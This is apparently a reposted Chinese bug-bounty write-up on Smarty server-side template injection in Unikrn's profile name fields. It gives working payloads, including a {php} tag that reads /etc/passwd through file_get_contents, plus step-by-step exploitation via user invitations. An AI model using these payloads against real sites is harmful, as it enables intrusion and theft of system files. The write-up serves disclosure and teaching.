php模板注⼊漏洞,php的Smarty服务端模板注⼊,允许远程执
⾏命令
1、漏洞简介
我在Unikrn的服务器上发现了⼀个漏洞:可以允许我执⾏‘file_get_contents ’函数,并且读取/etc/passwd⽂件的内容。
2、漏洞具体描述
前端页面模板
这个服务器看起来后台使⽤的是php的smarty模板,当在⽤户选项中的firstname, lastname或者nickname中输⼊⼀个恶意的payload,然后邀请⼀个⽤户来加⼊这个⽹站,然后就会导致代码被执⾏。
Smarty简介
Smarty是⼀个使⽤PHP写出来的模板引擎,是⽬前业界最著名的PHP模板引擎之⼀。它分离了逻辑代码和外在的内容,提供了⼀种易于管理和使⽤的⽅法,⽤来将原本与HTML代码混杂在⼀起PHP代码逻辑分离。
简单的讲,⽬的就是要使PHP程序员同前端⼈员分离,使程序员改变程序的逻辑内容不会影响到前端⼈员的页⾯设计,前端⼈员重新修改页⾯不会影响到程序的程序逻辑,这在多⼈合作的项⽬中显的尤为重要。
3、漏洞测试
开始测试的时候,我使⽤的测试payload是{7*7},然后我收到了⼀封邮件,邮件内容是⼀个模板错误内容。
为了确认是否存在注⼊,我⾸先通过如下命令来确认当前使⽤的smarty版本:
{$smarty.version}
接下来我⽤如下命令来测试打印输出
{php}print"Hello"{/php}
最后,我利⽤file_get_contents函数来时读取/etc/pass⽂件,利⽤的命令是
{php}$s=file_get_contents('/etc/passwd',NULL,NULL,0,100);var_dump($s);{/php}
4、漏洞利⽤总结
⼀是编辑你的个⼈配置⽂件
⼆是在个⼈配置中的first name, last name以及user name中分别填⼊如下的测试payload
{php}$s=file_get_contents('/etc/passwd',NULL,NULL,0,100);var_dump($s);{/php}
三是开始邀请你的朋友加⼊⽹站
四是查看被邀请⼈的邮箱,你读取的⽂件已经被下载了

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。